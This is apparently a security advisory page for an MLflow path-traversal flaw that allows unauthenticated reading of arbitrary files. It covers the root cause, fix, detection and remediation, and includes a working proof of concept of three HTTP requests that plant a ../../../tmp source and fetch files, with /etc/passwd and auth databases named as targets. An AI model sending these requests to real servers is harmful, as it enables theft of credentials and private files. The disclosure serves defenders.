CVE-2026-116690: MLflow vulnerable to arbitrary file read on unauthenticated servers via prompt model version source
MLflow 3.10.0 through 3.16.1 lets a remote caller read any file the tracking server process can read. The attacker registers a prompt-tagged model version with a schemeless local source such as ../../../tmp, then downloads files through the model-versions/get-artifact endpoint. No login is needed on a default server. Fixed in mlflow 3.17.0.
Published Oct 27, 2026 · Analysis Oct 28, 2026
What an attacker can do
The 3.10.0 fix for CVE-2026-2614 added a separate branch in _create_model_version() for model versions tagged mlflow.prompt.is_prompt. That branch rejects file:// URIs and absolute paths, and checks for relative-path tricks only when the source has a URL scheme. A schemeless source like ../../etc, a plain relative name, a dot, a percent-encoded path or a Windows drive-letter path is stored unchanged as the artifact location. The branch also keyed on the presence of the tag, not its value, so is_prompt set to false still took the weak path.
The get-artifact handler then trusts that stored location and serves the requested file with send_file(), using the privileges of the server process.
The attacker needs HTTP access to the tracking server. They create a registered model, create a version with the crafted source, and request get-artifact with the target filename in the path parameter. On the default mlflow server there is no authentication. With --app-name basic-auth, any account that can create a registered model can do the same, so a low-privilege user can read the auth database and the admin password hash. Other likely targets are /etc/passwd, SQLite tracking databases, config files holding secrets, and shell history.
Who is affected
Affected: mlflow >= 3.10.0 and < 3.17.0 (the advisory states 3.10.0 through 3.16.1). The server must expose the model registry endpoints. Unauthenticated servers, which is the default for mlflow server, are exploitable by anyone who can reach the port. Basic-auth servers are exploitable by any user who can create a registered model.
Check your version:
pip show mlflowmlflow
- Ecosystem
- PyPI
- Affected
- >= 3.10.0, < 3.17.0
- Fixed in
- 3.17.0
- Check
pip show mlflow
How to fix it
Upgrade to mlflow 3.17.0:
pip install --upgrade "mlflow>=3.17.0"Pull request 25870 makes prompt versions accept a schemeless source only if it equals one of two placeholders, prompt-template or dummy-source. Anything else gets HTTP 400, and Windows drive-letter paths are rejected. The prompt path now runs only when the tag value is true. Direct REST callers that send an empty or custom source with the prompt tag will now get a 400. The sources list no workaround, so until you upgrade, keep the tracking server off untrusted networks and put authentication in front of it.
How to tell if you were hit
Search access logs for POST /api/2.0/mlflow/model-versions/create requests with a source that has no scheme and contains .. or is a single dot, followed by GET /api/2.0/mlflow/model-versions/get-artifact calls. Check the model registry for versions whose download URI is a relative or local path rather than prompt-template or dummy-source.
If the server was reachable by untrusted users, assume files readable by its account were exposed. Rotate secrets stored on disk, and reset admin passwords if the basic-auth database could be read.
Original advisory
From the GitHub Advisory Database (CC BY 4.0).
Summary
On MLflow tracking servers running without authentication, which is the default for mlflow server, a remote attacker can read arbitrary files from the server’s filesystem by creating a model version tagged as a prompt whose source is a schemeless local path.
The fix for CVE-2026-2614 in 3.10.0 added a prompt-specific branch to the CreateModelVersion handler that rejects file:// URIs and absolute paths but runs path validation only when the source carries a URL scheme. A schemeless value such as ../../etc, a plain relative name, ., a percent-encoded path, or a Windows drive-letter path is therefore stored unchanged as the model version’s artifact location, and the model-versions/get-artifact endpoint later serves files from it with the privileges of the server process. The tag check also keyed on the presence of the mlflow.prompt.is_prompt tag rather than its value, so a false value still selected the weaker branch.
Servers using --app-name basic-auth are also affected: any authenticated user can create a registered model, so a low-privilege account can use this to read the authentication database, including the admin password hash.
Affected: MLflow 3.10.0 through 3.16.1. Fixed in 3.17.0 by mlflow/mlflow#25870, which accepts only MLflow’s own placeholder sources for prompt versions and requires the prompt tag to be true.
Details
When creating a model version with the mlflow.prompt.is_prompt tag set to true, the request is handled by the prompt branch in _create_model_version().
mlflow/server/handlers.py:2674-2690:
is_prompt = _is_prompt_request(request_message)
if is_prompt:
source = request_message.source
parsed = urllib.parse.urlparse(source)
if parsed.scheme == "file" or (parsed.scheme == "" and source.startswith("/")):
raise MlflowException(...)
if parsed.scheme:
_validate_non_local_source_contains_relative_paths(source)
else:
if request_message.model_id:
_validate_source_model(request_message.source, request_message.model_id)
else:
_validate_source_run(request_message.source, request_message.run_id)The prompt branch does not call _validate_source_run(), _validate_source_model(), or _validate_non_local_source_contains_relative_paths() for schemeless relative paths.
The artifact-read sink later trusts the stored source:
mlflow/server/handlers.py:2765-2782:
def get_model_version_artifact_handler():
name = request.args.get("name")
version = request.args.get("version")
path = request.args["path"]
path = validate_path_is_safe(path)
artifact_uri = _get_model_registry_store().get_model_version_download_uri(name, version)
...
else:
artifact_repo = get_artifact_repository(artifact_uri)
artifact_path = path
return _send_artifact(artifact_repo, artifact_path)_send_artifact() calls artifact_repository.download_artifacts(path) and serves the resulting local file with send_file().
PoC
Prerequisite: A reachable MLflow tracking server with model registry endpoints enabled.
- Create a sentinel file on the server:
printf 'MLFLOW_PWNED_SENTINEL_REPORT' > /tmp/sentinel-mlflow.txt- Send the following requests to the MLflow server to exploit the traversal:
First, create a registered model:
POST /api/2.0/mlflow/registered-models/create HTTP/1.1
Host: 127.0.0.1:5000
Content-Type: application/json
{"name": "pwned-model"}Next, create a prompt-tagged model version with the malicious relative source ../../../tmp:
POST /api/2.0/mlflow/model-versions/create HTTP/1.1
Host: 127.0.0.1:5000
Content-Type: application/json
{
"name": "pwned-model",
"source": "../../../tmp",
"tags": [{"key": "mlflow.prompt.is_prompt", "value": "true"}]
}Finally, retrieve the arbitrary file via the artifact download endpoint by supplying the target filename in the path parameter:
GET /api/2.0/mlflow/model-versions/get-artifact?name=pwned-model&version=1&path=sentinel-mlflow.txt HTTP/1.1
Host: 127.0.0.1:5000This returns the contents of /tmp/sentinel-mlflow.txt. The same primitive can read sensitive files like /etc/passwd or tracking databases (e.g. mlflow.db).
Impact
Direct impact is arbitrary local file read as the MLflow server process. Confirmed read targets include:
/etc/passwd- SQLite tracking databases readable by the process (e.g.,
mlflow-auth.dborbasic_auth.db) - Environment variables or configurations stored on disk
/home/user/.bash_history
Threat model: An attacker who can reach the MLflow tracking server HTTP port can read arbitrary files readable by the MLflow server process. On unauthenticated MLflow deployments, this is directly exploitable without credentials. On auth-enabled deployments, any authenticated user (even low-privileged or "read-only" accounts, depending on default RBAC configurations allowing model creation) can use the primitive. Leaked credential stores may enable offline password attacks or broader administrative compromise.
Credited to mskca.
Questions
- Does this affect MLflow servers with basic auth enabled?
Yes. Any authenticated user who can create a registered model can trigger it, so a low-privilege account can read the authentication database, including the admin password hash.
- Is the 3.10.0 fix for CVE-2026-2614 enough?
No. It added a prompt-specific branch that only validates sources with a URL scheme. Schemeless relative paths slip through. Version 3.17.0 closes this gap.
- Can it write files or run code?
The advisory describes arbitrary file read only, rated confidentiality impact high with no integrity or availability impact.
- Is it exploited in the wild?
No source reports exploitation, and it is not in CISA's KEV catalog. The advisory includes a working proof of concept.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology
More MLflow vulnerabilities
All MLflow entriesCVE-2026-116691
MLflow CrewAI autologging records LLM provider API keys in logged trace spans
medium6.5Oct 27, 2026CVE-2026-116692
MLflow vulnerable to remote code execution on unauthenticated servers via third-party scorer deserialization importing caller-placed artifact modules
critical9.8Oct 27, 2026CVE-2026-115886
MLflow: SSRF on unauthenticated MLflow servers via third-party scorer kwargs in the scorer invoke, register, and GenAI evaluate endpoints
medium6.5Oct 23, 2026CVE-2026-53995
MLflow FileStore trace IDs allow path traversal and arbitrary file writes
high8.2Oct 20, 2026GHSA-gqvg-gmmx-x4hm
MLFLOW_ALLOW_PICKLE_DESERIALIZATION=False safety control bypassed by mlflow.statsmodels flavor — RCE via crafted model artifact
high8.8Sep 1, 2026CVE-2026-64849
MLflow: Unauthenticated full-read SSRF in webhook delivery: _validate_webhook_url bypassed via unvalidated HTTP redirects (and DNS rebinding)
critical9.3ExploitedAug 17, 2026
